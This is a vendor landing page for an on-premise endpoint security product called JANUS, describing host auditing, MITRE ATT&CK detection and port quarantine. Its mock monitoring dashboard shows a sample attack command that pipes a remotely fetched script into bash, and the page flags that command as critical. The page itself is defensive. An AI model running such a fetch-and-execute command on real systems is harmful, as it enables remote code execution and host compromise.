JANUS LogoJANUS

On-Prem Endpoint Truth,
Zero Cloud Tax

Real-time host monitoring, behavioral tracking, and local attack surface reduction with zero phone-home pipelines and zero recurring per-sensor tax.

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Host: PROD-SRV-DB01 · Kernel 5.15.0 · eBPF/Audit Active
PIDBinary / CommandUser / PrivStatus
1/sbin/initroot (0)Normal
884/usr/sbin/nginx -g daemonwww-data (33)Audited
1042/usr/sbin/sshd -Droot (0)Audited
1055curl -sSL http://10.10.4.99/p | bashwww-data (33)CRITICAL
1280/usr/bin/postgres -D /datapostgres (108)Normal
Host Attribution
IP: 10.10.4.12
MAC: e4:5f:01:aa
Port: CORE-SW-01:Gi1/0/14
VLAN: 10 (PROD_SRV)
Cloud Egress: 0 B/s [Strict]
Agent CPU: 0.8%
MITRE T1059.004: LOLBin Command Shell
Confidence: 99.4%
Parent: nginx [pid:884]Spawned: /bin/bash
Target: /tmp/.payload_exec (Living-off-the-land pattern)
Deterministic Rule Verified
NOC + SOC Converged Response
Containment Latency: 1.14s
Host Process Isolation:SIGSTOP Enforced
Switch Port Quarantine:VLAN 999 (SNMP CoA)

Measurable Endpoint Defense Without Cloud Overhead

Telemetry Custody
100%
Air-gapped on-premise event retention with zero phone-home calls or external egress.
Agent CPU Overhead
< 1.2%
Deterministic OS kernel audit framework without compute-heavy background models.
Hardware Attribution
< 500ms
Instant correlation from suspicious PID to MAC address and physical switch port.
Predictable Economics
0 Sensor Tax
Flat enterprise licensing with zero per-endpoint subscription penalties or ingestion caps.

Endpoint Defense at Your Fingertips: Inspect, Detect, and Neutralize at Machine Speed

Explore how JANUS combines continuous host auditing, deterministic MITRE ATT&CK detection, and physical Layer 2 port correlation into a sovereign defense platform.

Realize continuous endpoint visibility without external cloud pipelines

JANUS Endpoint Security delivers real-time host monitoring, behavioral tracking, and local attack surface reduction directly from within your private network. Deployed fully on-premise on standard Ubuntu Server, JANUS collects, processes, and stores all endpoint telemetry locally with zero phone-home communication. With flat licensing that eliminates recurring per-sensor tax and cloud telemetry limits, security teams can maintain full-fidelity event collection across servers, workstations, and edge compute nodes.

✓
100% on-premise telemetry aggregation with zero data egress or phone-home telemetry
✓
Continuous auditing of process execution trees, user command logs, and open network sockets
✓
Flat predictable licensing eliminating recurring per-endpoint sensor taxes and retention quotas
✓
Universal native support across Linux servers, Windows workstations, and isolated edge nodes
DATA LEAKAGE RISK
Strict air-gap compliance • Telemetry never leaves operational perimeter
0.00%
janus-host-auditor.sh
Telemetry Stream
// JANUS Air-Gapped Host Telemetry Pipeline
[Host: PROD-SRV-DB01.internal | Ubuntu 22.04 LTS]
  ↳ Telemetry Channel: Mutual TLS (Local CA: root.janus.lan)
  ↳ OS Kernel Audit: process_creation, socket_bind, file_write
  ↳ Cloud Phone-Home Checks: BLOCKED [0 bytes egress]
  ↳ Local Ingestion Engine: 4,850 EPS (Buffer: SQLite WAL)
  ✓ Telemetry Custody: 100% On-Premise [Air-Gap Verified]
Audit Pipeline: ActiveLive Host Protection

Deterministic Host Defense Pillars

Six core operational capabilities engineered for absolute telemetry custody, sub-second threat attribution, and hardware-coordinated response.

01

Maintain absolute endpoint telemetry custody — completely air-gapped and on-premise

Secure host assets across air-gapped enclaves and regulated environments without streaming sensitive process arguments, user command logs, or local configuration files to third-party multi-tenant clouds. JANUS enforces policies, parses host telemetry, and records historical events entirely within your private operational boundary.

02

Enforce deterministic, framework-aligned host detection

Correlate endpoint activities directly with the MITRE ATT&CK framework. Detect unauthorized command-line interpreters (e.g., suspicious PowerShell, Bash, or WMI execution), fileless persistence attempts, interactive remote administrative shells (SSH/RDP), and local privilege escalations without introducing compute-heavy background models.

03

Track system integrity and unauthorized configuration drift

Continuously audit critical system binaries, security configurations, and active network-listening sockets. JANUS alerts operators to rogue services, unapproved open ports, unauthorized local account creation, and drift from approved baseline security templates.

04

Harness unified entity aggregation and complete attack timelines

Link host-level telemetry seamlessly with perimeter firewall drops, flow records, and syslog feeds. When an endpoint experiences a threat event, JANUS compiles the execution path, corresponding network connections, and data transfer volume into a single, cohesive timeline, eliminating the operational friction of stitching logs across multiple disconnected consoles.

05

Prioritize rapid investigation with local artifact inspection

Equip triage teams with instant visibility into running processes, active socket listeners, local user sessions, and service states. Analysts can quickly verify whether an alert represents benign administrative activity or an active breach without placing heavy analytical burdens on host endpoints.

06

Execute direct, hardware-coordinated containment

Eliminate response delays through converged containment mechanisms. When an endpoint is compromised, JANUS enables direct host-level containment while coordinating with native network controls to quarantine the host's physical switch port or revoke its network access via integrated NAC and firewall rules.

Lock Down Endpoints on Sovereign Hardware

Deploy self-contained EDR agents across Windows and Linux workstations in minutes. Zero cloud telemetry egress, instantaneous port-level quarantine.

Deploy on Ubuntu ServerSchedule Technical Walkthrough